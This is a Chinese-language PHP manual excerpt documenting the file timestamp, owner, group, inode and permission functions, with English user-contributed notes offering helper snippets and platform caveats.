Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • filemtime() - 取得文件修改时间
  • fileinode() - 取得文件的 inode
  • date() - 格式化 Unix 时间戳

User Contributed Notes

There are no user contributed notes for this page.


取得文件的 inode 修改时间

  • ? fileatime
  • filegroup ?
  • PHP Manual
  • 文件系统函数
  • 取得文件的 inode 修改时间

filectime

(PHP 4, PHP 5, PHP 7, PHP 8)

filectime — 取得文件的 inode 修改时间

说明

filectime(string $filename): int|false

取得文件的 inode 修改时间。

参数

filename

文件的路径。

返回值

返回文件上次 inode 被修改的时间， 或者在失败时返回 false。 时间以 Unix 时间戳的方式返回。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 filectime() 例子

<?php

// 输出类似： somefile.txt was last changed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "$filename was last changed: " . date("F d Y H:i:s.", filectime($filename));
}

?>

注释

Note:

注意：在大多数 Unix 文件系统中，当一个文件的 inode 数据被改变时则该文件被认为是修改了。也就是说，当文件的权限，所有者，所有组或其它 inode 中的元数据被更新时。参见 filemtime()（这才是你想用于在 Web 页面中建立"最后更新时间"脚注的函数）和 fileatime()。

Note:

注意某些 Unix 说明文本中把 ctime 说成是该文件建立的时间，这是错的。在大多数 Unix 文件系统中没有 Unix 文件的建立时间。

Note:

注意：不同文件系统对时间的判断方法可能是不相同的。

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • filemtime() - 取得文件修改时间

User Contributed Notes

faketruth at yandex dot ru 10-Jun-2015 03:04
If you need file creation time on Mac OS X:

<?php
if ($handle = popen('stat -f %B ' . escapeshellarg($filename), 'r')) {
    $btime = trim(fread($handle, 100));
    echo strftime("btime: %Y.%m.%d %H:%M:%S\n", $btime);
    pclose($handle);
}
?>
coolkoon at gmail dot com 23-Jan-2011 02:42
You should avoid feeding the function files without a path. This applies for filemtime() and possibly fileatime() as well. If you omit the path the command will fail with the warning "filectime(): stat failed for filename.php".
m dot rabe at directbox dot com 06-Jan-2010 06:07
Under Windows you can use fileatime() instead of filectime().
soapergem at gmail dot com 05-Sep-2009 09:19
Note that on Windows systems, filectime will show the file creation time, as there is no such thing as "change time" in Windows.
javi at live dot com 03-Feb-2009 02:15
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
chuck dot reeves at gmail dot com 02-Oct-2007 09:14
filectime running on windows reading a file from a samba share, will still show the last modified date.
website at us dot kaspersky dot com 31-Aug-2007 10:51
Line 37 of the code above has an error.

echo  "File name: $file - Date Added: $date. <br/>"";

There is an extra "  after the <br/> that needs to be deleted in order for this code to work.
StevieMc at example dot com 15-Nov-2006 06:28
This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever).

<?PHP
function dirList ($directory, $sortOrder){

    //Get each file and add its details to two arrays
    $results = array();
    $handler = opendir($directory);
    while ($file = readdir($handler)) {
        if ($file != '.' && $file != '..' && $file != "robots.txt" && $file != ".htaccess"){
            $currentModified = filectime($directory."/".$file);
            $file_names[] = $file;
            $file_dates[] = $currentModified;
        }
    }
       closedir($handler);

    //Sort the date array by preferred order
    if ($sortOrder == "newestFirst"){
        arsort($file_dates);
    }else{
        asort($file_dates);
    }

    //Match file_names array to file_dates array
    $file_names_Array = array_keys($file_dates);
    foreach ($file_names_Array as $idx => $name) $name=$file_names[$name];
    $file_dates = array_merge($file_dates);

    $i = 0;

    //Loop through dates array and then echo the list
    foreach ($file_dates as $file_dates){
        $date = $file_dates;
        $j = $file_names_Array[$i];
        $file = $file_names[$j];
        $i++;

        echo  "File name: $file - Date Added: $date. <br/>"";
    }

}
?>

I hope this is useful to somebody.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 05:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.


取得文件的组

  • ? filectime
  • fileinode ?
  • PHP Manual
  • 文件系统函数
  • 取得文件的组

filegroup

(PHP 4, PHP 5, PHP 7, PHP 8)

filegroup — 取得文件的组

说明

filegroup(string $filename): int|false

取得该文件所属组的 ID。组 ID 以数字格式返回，用 posix_getgrgid() 来将其解析为组名。

参数

filename

文件的路径。

返回值

返回该文件所属组的 ID。或在错误时返回 false。 组 ID 以数字格式返回，用 posix_getgrgid() 来将其解析为组名。如果出错则返回 false。

错误／异常

失败时会发出 E_WARNING。

示例

Example #1 查找文件所在的组

<?php
$filename = 'index.php';
print_r(posix_getgrgid(filegroup($filename)));
?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • fileowner() - 取得文件的所有者
  • posix_getgrgid() - Return info about a group by group id

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric group IDs.


取得文件的 inode

  • ? filegroup
  • filemtime ?
  • PHP Manual
  • 文件系统函数
  • 取得文件的 inode

fileinode

(PHP 4, PHP 5, PHP 7, PHP 8)

fileinode — 取得文件的 inode

说明

fileinode(string $filename): int|false

取得文件的 inode。

参数

filename

文件的路径。

返回值

返回文件的 inode 节点号， 或者在失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 将某个文件和当前文件的 inode 进行对比

<?php
$filename = 'index.php';
if (getmyinode() == fileinode($filename)) {
echo 'You are checking the current file.';
}
?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • getmyinode() - 获取当前脚本的索引节点（inode）
  • stat() - 给出文件的信息

User Contributed Notes

sofe2038 at gmail dot com 19-Jul-2020 07:50
As documented in https://www.php.net/manual/en/function.stat.php#refsect1-function.stat-returnvalues:
> On Windows, as of PHP 7.4.0, this is the identifier associated with the file, which is a 64-bit unsigned integer, so may overflow. Previously, it was always 0.

It appears that fileinode shares the same underlying implementation.


取得文件修改时间

  • ? fileinode
  • fileowner ?
  • PHP Manual
  • 文件系统函数
  • 取得文件修改时间

filemtime

(PHP 4, PHP 5, PHP 7, PHP 8)

filemtime — 取得文件修改时间

说明

filemtime(string $filename): int|false

本函数返回文件中的数据块上次被写入的时间，也就是说，文件的内容上次被修改的时间。

参数

filename

文件的路径。

返回值

返回文件上次被修改的时间， 或者在失败时返回 false。时间以 Unix 时间戳的方式返回，可用于 date()。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 filemtime() 例子

<?php
// outputs e.g. somefile.txt was last modified: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
echo "$filename was last modified: " . date ("F d Y H:i:s.", filemtime($filename));
}
?>

注释

Note:

注意：不同文件系统对时间的判断方法可能是不相同的。

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • filectime() - 取得文件的 inode 修改时间
  • stat() - 给出文件的信息
  • touch() - 设定文件的访问和修改时间
  • getlastmod() - 获取页面最后修改的时间

User Contributed Notes

MarkAgius at markagius dot co dot uk 22-Aug-2021 12:33
filemtime(..) only works with files on your server.
$T=filesize("index.php"); // Works.
$T=filesize("/public_html/dir/index.php"); // Works.

But the following will not work.
$T=filesize("https://mydomain.com/dir/index.php"); // Will not work. Same domain but using web address.
$T=filesize("https://otherdomain.com/dir/index.php"); // Other domain, will not work.

To get file date for other sites try:
(Note: Time zone may be in G.M.T. and not your local timezone)

$T = getFileDate("https://mydomain.com/dir/index.php");
$T = getFileDate("https://otherdomain.com/dir/index.php");

function getFileDate($filePath){
  // Same as filemtime(..) but also works with remote files.
  // EG. = print date("j/m/Y, g:i:sa (e)",getFileDate("https://abc.com/file.jpg"));
  // File not found then will return -307756800 ( 1/04/1960)
  $ret = -(3562 *24*60*60); //  1/04/1960  3562= seconds to 1/01/1970

  $ch = curl_init($filePath);
  curl_setopt($ch, CURLOPT_NOBODY, true);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  // Try and get the file modification date.
  curl_setopt($ch, CURLOPT_FILETIME, true);
  $result = curl_exec($ch);
  if($result===false){
    die(curl_error($ch));
    return $ret;
  }

  $ret = curl_getinfo($ch, CURLINFO_FILETIME);
  curl_close($ch);

  return $ret;
}
Steve GS 09-Jan-2020 10:39
If the file is not in the same directory as the executing script, a failure will result unless you use $_SERVER.  This is because, like file_exists(), the command works on a file system, not via HTTP.  So this will NOT work properly (and will probably show a warning):

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($home_url . '/images/image.jpg') . '" />';

but this will:

echo '<img src="' . $home_url . '/images/image.jpg?v=' . filemtime ($_SERVER['DOCUMENT_ROOT'] . '/images/image.jpg') . '" />';

The second script above will ensure any updated image is guaranteed to replace its predecessor without forcing the browser to reload the image on every visit.
Don 12-Aug-2015 06:13
To find the oldest file in a directory :
$directory= "C:\\";

$smallest_time=INF;

$oldest_file='';

if ($handle = opendir($directory)) {

    while (false !== ($file = readdir($handle))) {

        $time=filemtime($directory.'/'.$file);

        if (is_file($directory.'/'.$file)) {

            if ($time < $smallest_time) {
                $oldest_file = $file;
                $smallest_time = $time;
            }
        }
    }
    closedir($handle);
}

echo $oldest_file;
son9ne at gmail dot com 01-Mar-2014 07:58
If you do use:
<?php
$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
?>

Make note that it will throw a warning as the documentation states. While tobias makes a good point for production, when error reporting is off, this can increase your performance over using `file_exists`. However, if error reporting is on and it's writing to a log... this is not the case. Obviously this varies on sever specs and the size of the error log. For most cases, it's still ideal to use the `file_exists` method.
arkadia81 at gmail dot com 04-Oct-2013 01:56
A little amendment to "tobias" post:

Insted of:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if (!$fmtime) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}

it should be something like this:
$filename = 'somefile.txt';
 $fmtime = filemtime($filename);
 if ($fmtime != false) {
     echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
 }

filemtime() returns false on failure so in the first example it will never display the date modified.
tobias 18-Sep-2013 08:02
The mentioned example:

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", filemtime($filename));
}

works, however is not ideal from a performance point of view of serving static files through PHP, since it basically needs two perform two file system operations (file_exists and filemtime). A more effective way would be to only use filemtime and save the overhead of file_exists using:

$filename = 'somefile.txt';
$fmtime = filemtime($filename);
if (!$fmtime) {
    echo "$filename wurde zuletzt modifiziert:: " . date ("F d Y H:i:s.", $fmtime);
}
nieprzeklinaj at gmail dot com 22-Jan-2013 12:56
Here's a handy little function for smart cache overriding :)
<?php
function img($src, $alt='', $attr='')
{
    if(file_exists($src))
    {
        $lmod = filemtime($src);
        echo '<img src="'.$src.'?lmod='.$lmod.'" alt="'.$alt.'" '.$attr.' />';
    }
}
?>
Will Davies Vasconcelos 17-Feb-2011 10:22
Here is a handy script to create a csv file with file names and the date when files in a given folder were inserted:

<?php
  header("Pragma: public");
  header("Cache-Control: private");
  header("Content-Type: text/csv");
  header("Content-Disposition: attachment; filename=age-of-files.csv");

  $result = array();
  $handle =  opendir(".");
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = "./".$datei;
               if (!is_dir($file))
                    $result[] = $file;
          }
     }
     closedir($handle);
  foreach($result as $r)
    if (file_exists($r))
      echo substr($r,2).",".date ("m/d/Y", filemtime($r))."\r\n";
?>
myselfasunder at gmail dot XYZ dot com 31-Oct-2010 02:02
There's a deeply-seated problem with filemtime() under Windows due to the fact that it calls Windows' stat() function, which implements DST (according to this bug: http://bugs.php.net/bug.php?id=40568). The detection of DST on the time of the file is confused by whether the CURRENT time of the current system is currently under DST.

This is a fix for the mother of all annoying bugs:

<?php
function GetCorrectMTime($filePath)
{

    $time = filemtime($filePath);

    $isDST = (date('I', $time) == 1);
    $systemDST = (date('I') == 1);

    $adjustment = 0;

    if($isDST == false && $systemDST == true)
        $adjustment = 3600;

    else if($isDST == true && $systemDST == false)
        $adjustment = -3600;

    else
        $adjustment = 0;

    return ($time + $adjustment);
}
?>

Dustin Oprea
erelsgl at gmail dot com 07-Jun-2010 01:08
Cheaper and dirtier way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

$filemtime = @filemtime($cache_file);  // returns FALSE if file does not exist
if (!$filemtime or (time() - $filemtime >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
dagger80 07-Apr-2010 12:22
Also on 32-bit systems, filemtime() also does not work for files with modification time set beyond Jan 2038. It is the dreaded time_t overflow bug for unix seconds.

On windows you can set the system time to any arbitrary future date, and any new files you created or edited will automatically change to that future date.

If exec isn't permitted for some reason, and if you could access the file via an web url (e.g. http://localhost/yourfile.txt), another workaround is to get the Last-Modified time from the HTTP headers (e.g. get_headers(url) ), and parse it as a DateTime object.

I have tested it and it works for years like 2050 and 3012.
_michael 01-Feb-2010 11:09
While testing on Windows, I noticed that the precision of filemtime is just 1 second.

So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.

(I ran into this with Apache on Windows XP.)
Nilo 10-Jan-2010 11:01
Cheap and dirty way to code a cache:

<?php
$cache_file = 'URI to cache file';
$cache_life = '120'; //caching time, in seconds

if (!file_exists($cache_file) or (time() - filemtime($cache_file) >= $cache_life)){
    ob_start();
    resource_consuming_function();
    file_put_contents($cache_file,ob_get_flush());
}else{
    readfile($cache_file);
}
?>
james dot schafer at gotalk dot net dot au 16-Dec-2009 01:36
On the Windows system filectime() returns the creation time. To find the changed time use fileatime() or filemtime().
contacto at hardcode dot com dot ar 31-Aug-2009 08:03
when working with swf files (flash animations), there is a nice way to avoid the browser cache. i used to do this by hand, then i used a random number, but with large animations while working online, it gets boring because the server always downloads the whole animation, even if there was no change.
but...

this will do the trick

base.swf?rand=<?php echo filemtime("base.swf") ?>

<embed src="base.swf?rand=<?php echo filemtime("base.swf") ?>" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="1680" height="1050">
Anonymous 19-Aug-2009 03:52
Please note that many of the functions below that people have provided to get files modified after a certain time in a directory will NOT get all files on a Windows operating system.

If you copy and paste any file inside the folder or into the folder from another folder (such as images that may be used but aren't going to be modified right away), the modified time is not updated on these copied files, only the creation time.

You need to use filectime with filemtime to assure you get copied files that aren't modified but are obviously new.
info at daniel-marschall dot de 22-Jun-2009 03:59
It could be useful to determinate the timestamp of the newest file in a directory. (e.g. if you want to find out when the last change was made to your project).

Following function will help you:

<?php

function getAllFiles($directory, $recursive = true) {
     $result = array();
     $handle =  opendir($directory);
     while ($datei = readdir($handle))
     {
          if (($datei != '.') && ($datei != '..'))
          {
               $file = $directory.$datei;
               if (is_dir($file)) {
                    if ($recursive) {
                         $result = array_merge($result, getAllFiles($file.'/'));
                    }
               } else {
                    $result[] = $file;
               }
          }
     }
     closedir($handle);
     return $result;
}

function getHighestFileTimestamp($directory, $recursive = true) {
     $allFiles = getAllFiles($directory, $recursive);
     $highestKnown = 0;
     foreach ($allFiles as $val) {
          $currentValue = filemtime($val);
          if ($currentValue > $highestKnown) $highestKnown = $currentValue;
     }
     return $highestKnown;
}

// Use example

echo 'The newest file has the time stamp:<br>';
echo date('Y-m-d H:i:s', getHighestFileTimestamp('../'));

?>
geeks at geekman dot info 17-Feb-2008 09:01
This is a very handy function for dealing with browser caching. For example, say you have a stylesheet and you want to make sure everyone has the most recent version. You could rename it every time you edit it, but that would be a pain in the ass. Instead, you can do this:

<?php
echo '<link rel="stylesheet" type="text/css" href="style.css?' . filemtime('style.css') . '" />';
?>

Sample output:

<link rel="stylesheet" type="text/css" href="style.css?1203291283" />

By appending a GET value (the UNIX timestamp) to the stylesheet URL, you make the browser think the stylesheet is dynamic, so it'll reload the stylesheet every time the modification date changes.
solarijj at gmail dot com 08-Mar-2007 12:02
To get the modification date of some remote file, you can use the fine function by notepad at codewalker dot com (with improvements by dma05 at web dot de and madsen at lillesvin dot net).

But you can achieve the same result more easily now with stream_get_meta_data (PHP>4.3.0).

However a problem may arise if some redirection occurs. In such a case, the server HTTP response contains no Last-Modified header, but there is a Location header indicating where to find the file. The function below takes care of any redirections, even multiple redirections, so that you reach the real file of which you want the last modification date.

hih,
JJS.

<?php

// get remote file last modification date (returns unix timestamp)
function GetRemoteLastModified( $uri )
{
    // default
    $unixtime = 0;

    $fp = fopen( $uri, "r" );
    if( !$fp ) {return;}

    $MetaData = stream_get_meta_data( $fp );

    foreach( $MetaData['wrapper_data'] as $response )
    {
        // case: redirection
        if( substr( strtolower($response), 0, 10 ) == 'location: ' )
        {
            $newUri = substr( $response, 10 );
            fclose( $fp );
            return GetRemoteLastModified( $newUri );
        }
        // case: last-modified
        elseif( substr( strtolower($response), 0, 15 ) == 'last-modified: ' )
        {
            $unixtime = strtotime( substr($response, 15) );
            break;
        }
    }
    fclose( $fp );
    return $unixtime;
}
?>
Benan Tumkaya (benantumkaya at yahoo) 14-Aug-2006 02:11
Here is a small but handy script that you can use to find which files in your server are modified after a  date/time that you specify. This script will go through all folders in the specified directory recursively and echo the modified files with the last modified date/time...

//Starts Here
//Put here the directory you want to search for. Put / if you want to search your entire domain
$dir='/';

//Put the date you want to compare with in the format of:  YYYY-mm-dd hh:mm:ss
$comparedatestr="2006-08-12 00:00:00";
$comparedate=strtotime($comparedatestr);

//I run the function here to start the search.
directory_tree($dir,$comparedate);

//This is the function which is doing the search...
function directory_tree($address,$comparedate){

 @$dir = opendir($address);

  if(!$dir){ return 0; }
        while($entry = readdir($dir)){
                if(is_dir("$address/$entry") && ($entry != ".." && $entry != ".")){
                        directory_tree("$address/$entry",$comparedate);
                }
                 else   {

                  if($entry != ".." && $entry != ".") {

                    $fulldir=$address.'/'.$entry;
                    $last_modified = filemtime($fulldir);
                    $last_modified_str= date("Y-m-d h:i:s", $last_modified);

                       if($comparedate < $last_modified)  {
                          echo $fulldir.'=>'.$last_modified_str;
                          echo "<BR>";
                       }

                 }

            }

      }

}
csnyder at chxo dot com 11-Aug-2006 08:59
If PHP's integer type is only 32 bits on your system, filemtime() will fail on files over 2GB with the warning "stat failed". All stat()-related commands will exhibit the same behavior.

As a workaround, you can call the system's stat command to get the modification time of a file:

On FreeBSD:
$mtime = exec ('stat -f %m '. escapeshellarg ($path));

On Linux:
$mtime = exec ('stat -c %Y '. escapeshellarg ($path));

Thanks to "mpb dot mail at gmail dot com" for his/her similar comment on stat().
dma05 at web dot de 23-Apr-2005 02:25
concerning "notepad at codewalkers dot com"'s code:

this code is pretty neat, but i just wanted to note that using the "HEAD"-method instead of the "GET"-method in the http-request might be preferrable, since then not the whole resource is being downloaded...

http/1.1 definiton snippet:
Section "9.4 HEAD"

 The HEAD method is identical to GET except that the server MUST NOT return a message-body in the response. The metainformation contained in the HTTP headers in response to a HEAD request SHOULD be identical to the information sent in response to a GET request. This method can be used for obtaining metainformation about the entity implied by the request without transferring the entity-body itself. This method is often used for testing hypertext links for validity, accessibility, and recent modification. [...]
-- snippet end ---

the code would then be...:

-- snippet ---
fputs($handle,"HEAD $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
-- snippet end ---

regards, Magnus
notepad at codewalkers dot com 11-Mar-2005 01:53
i needed the ability to grab the mod time of an image on a remote site. the following is the solution with the help of Joe Ferris.

<?php

function filemtime_remote($uri)
{
    $uri = parse_url($uri);
    $handle = @fsockopen($uri['host'],80);
    if(!$handle)
        return 0;

    fputs($handle,"GET $uri[path] HTTP/1.1\r\nHost: $uri[host]\r\n\r\n");
    $result = 0;
    while(!feof($handle))
    {
        $line = fgets($handle,1024);
        if(!trim($line))
            break;

        $col = strpos($line,':');
        if($col !== false)
        {
            $header = trim(substr($line,0,$col));
            $value = trim(substr($line,$col+1));
            if(strtolower($header) == 'last-modified')
            {
                $result = strtotime($value);
                break;
            }
        }
    }
    fclose($handle);
    return $result;
}
// echo filemtime_remote('http://www.somesite.com/someimage.jpg');

?>
habazi at yahoo dot com 21-Feb-2005 10:13
"this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories)."

This is not (necessarily) correct either. In *nix the timestamp can be independently set. For example the command "touch directory" updates the timestamp of a directory without file creation.

Also file removal will update the timestamp of a directory.
09-Dec-2004 08:30
A comment below states

  "When using this function to get the modified date of a directory,
   it returns the date of the file in that directory that was last modified."

this is not (necessarily) correct, the modification time of a directory will be the time of the last file *creation* in a directory (and not in it's sub directories).
adam at roomvoter dot com 01-May-2004 01:42
The snippet of code earlier that allows you to delete all files older than 2 weeks uses the function (filemtime) - which checks the original create date of the file (filesystem independent).  You MAY want to use filectime() - that looks at when the file was last changed on YOUR file system.

        if (is_dir("$path") )
        {
           $handle=opendir($path);
           while (false!==($file = readdir($handle))) {
               if ($file != "." && $file != "..") {
                   $Diff = (time() - filectime("$path/$file"))/60/60/24;
                   if ($Diff > 14) unlink("$path/$file");

               }
           }
           closedir($handle);
        }
wookie at at no-way dot org 14-Sep-2003 02:17
Another little handy tool; to get the most recent modified time from files in a directory. It even does recursive directories if you set the $doRecursive param to true. Based on a file/directory list function I saw somewhere on this site. ;)

function mostRecentModifiedFileTime($dirName,$doRecursive) {
    $d = dir($dirName);
    $lastModified = 0;
    while($entry = $d->read()) {
        if ($entry != "." && $entry != "..") {
            if (!is_dir($dirName."/".$entry)) {
                $currentModified = filemtime($dirName."/".$entry);
            } else if ($doRecursive && is_dir($dirName."/".$entry)) {
                $currentModified = mostRecentModifiedFileTime($dirName."/".$entry,true);
            }
            if ($currentModified > $lastModified){
                $lastModified = $currentModified;
            }
        }
    }
    $d->close();
    return $lastModified;
}
paranoid at dds dot nl 05-Jun-2003 05:43
To get the last modification time of a directory, you can use this:

<pre>
$getLastModDir = filemtime("/path/to/directory/.");
</pre>

Take note on the last dot which is needed to see the directory as a file and to actually get a last modification date of it.

This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.

Regards,
Frank Keijzers
jay at fudge dot org 29-Jun-1999 01:55
If you want this functionality for the parent web page you should use getlastmod()
i.e.
<?php echo "Last modified: ".date( "F d Y H:i:s.", getlastmod() ); ?>
within the included page... i.e. as a commont footer include for all pages
gerardj at home dot com 19-May-1999 08:27
The above code works fine if you place it on each page you want a date stamp on.  I've found that if you place a reference such as filemtime(__FILE__) in an included or required file, that the modification time of the inherited file will be returned, not the time of the file that did the ineriting.


取得文件的所有者

  • ? filemtime
  • fileperms ?
  • PHP Manual
  • 文件系统函数
  • 取得文件的所有者

fileowner

(PHP 4, PHP 5, PHP 7, PHP 8)

fileowner — 取得文件的所有者

说明

fileowner(string $filename): int|false

取得文件的所有者。

参数

filename

文件的路径。

返回值

返回文件所有的用户 ID，如果出错则返回 false。用户 ID 以数字格式返回，用 posix_getpwuid() 来将其解析为用户名。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 找到文件的所有者

<?php
$filename = 'index.php';
print_r(posix_getpwuid(fileowner($filename)));
?>

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • filegroup() - 取得文件的组
  • stat() - 给出文件的信息
  • posix_getpwuid() - Return info about a user by user id

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 03:48
This function will always return 0 on Windows, because Windows does not support numeric user IDs.
dazoe 27-Jun-2010 07:21
Remember to use if(fileowner(...) === FALSE) instead of if(!fileowner()) or if(fileowner() == FLASE) because if the owner was "root" it would return 0.
29-Jan-2006 04:58
Small note: the function resolves symbolic links. That is, if the link is created by user 999 and maps to a file owned by user 666, this function returns 666 :(


获取文件权限

  • ? fileowner
  • filesize ?
  • PHP Manual
  • 文件系统函数
  • 获取文件权限

fileperms

(PHP 4, PHP 5, PHP 7, PHP 8)

fileperms — 获取文件权限

说明

fileperms(string $filename): int|false

获取指定文件权限。

参数

filename

文件的路径。

返回值

以数字模式返回文件权限。此模式的低位与 chmod() 期望权限相同，然而在大多数平台上，返回值还将会包含指定 filename 的文件类型信息。下面的示例示范了如何在 POSIX 系统上测试特定权限和文件类型的返回值。

对于本地文件，特定的返回值是通过 C 库的 stat() 函数返回结构中的 st_mode 成员的值。Exactly which bits are set can vary from platform to platform, and looking up your specific platform's documentation is recommended if parsing the non-permission bits of the return value is required.

失败时返回 false。

错误／异常

失败时抛出 E_WARNING 警告。

示例

Example #1 以八进制的形式显示文件的权限

<?php
echo substr(sprintf('%o', fileperms('/tmp')), -4);
echo substr(sprintf('%o', fileperms('/etc/passwd')), -4);
?>

以上示例会输出：

1777
0644

Example #2 输出全部权限

<?php
$perms = fileperms('/etc/passwd');

switch ($perms & 0xF000) {
case 0xC000: // 套接字
$info = 's';
break;
case 0xA000: // 符号链接
$info = 'l';
break;
case 0x8000: // regular
$info = 'r';
break;
case 0x6000: // 块设备
$info = 'b';
break;
case 0x4000: // 目录
$info = 'd';
break;
case 0x2000: // 字符设备
$info = 'c';
break;
case 0x1000: // FIFO 管道
$info = 'p';
break;
default: // 位置
$info = 'u';
}

// 所有者
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));

// 组
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));

// 其它
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));

echo $info;
?>

以上示例会输出：

-rw-r--r--

注释

Note: 此函数的结果会被缓存。参见 clearstatcache() 以获得更多细节。

Tip

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

参见

  • chmod() - 改变文件模式
  • is_readable() - 判断给定文件名是否可读
  • stat() - 给出文件的信息

User Contributed Notes

chris at ocproducts dot com 02-Mar-2020 07:53
Windows has a very different file permission model to Unix and integrates them only minimally.

Here's how Windows calculates the bitmask...

u+w/g+w/o+w is set based on whether the file has the read only flag.

u+r/g+w/o+w is always set.

u+x/g+x/o+x is set based on whether $filename is an inherently executable file (e.g. bat) or a directory.

Windows isn't integrating its ACLs at all.

Here's the source of all this: https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/stat-functions?view=vs-2019 (but it doesn't provide many details)
Dominic 14-Mar-2014 08:24
A small function for the last 3 digits (777/755 ect.)

<?php
function getFilePermission($file) {
        $length = strlen(decoct(fileperms($file)))-3;
        return substr(decoct(fileperms($file)),$length);
}
?>
coolmic at example dot com 23-Aug-2013 03:52
Don't use substr, use bit operator
<?php
decoct(fileperms($file) & 0777); // return "755" for example
?>

If you want to compare permission
<?php
0755 === (fileperms($file) & 0777);
?>
admin at torntech dot com 28-Feb-2012 10:14
This may not be immediately apparent to some, but you can use octdec( $octal_value ) to match the permissions retrieved by file perms

<?php

//assumes file has 2770 permissions
$perm= fileperms( __FILE__ );
$bit = "102770";

printf( "%s\n", octdec( $bit ) );
printf( "%s\n", $perm);

?>
sviscaino123 at hotmail dot fr 15-Jun-2010 12:22
Here is a small function I made : http://pastebin.com/iKky8Vtu
I was bored and I thought it could be useful.

mixed mkperms( string $perms [, bool return_as_string = false [, string $filename ] ] )
Returns permissions given a string in literal format and a filename.
If the file name is omitted, the permissions that the function will return are based on 000-permissions.
If return_as_string is set to true, the result will be output as a 644 format string. Otherwise it will return a string converted to base-10 for chmod.

Examples:

<?php
echo mkperms('u+r', true), "\n"; // 400
echo mkperms('u+rwx,g+rw,o+x', true), "\n"; // 761

touch('myfile.txt'); // Create a file with any permissions
chmod('myfile.txt', mkperms('u=rwx,g=x,o=rw')); // myfile.txt is now at -rwx--xrw-

// Make a file and give it full permissions
touch('somefile.txt');
chmod('somefile.txt', 0777);
echo mkperms('g-w,o-rw', true, 'somefile.txt'); // 751
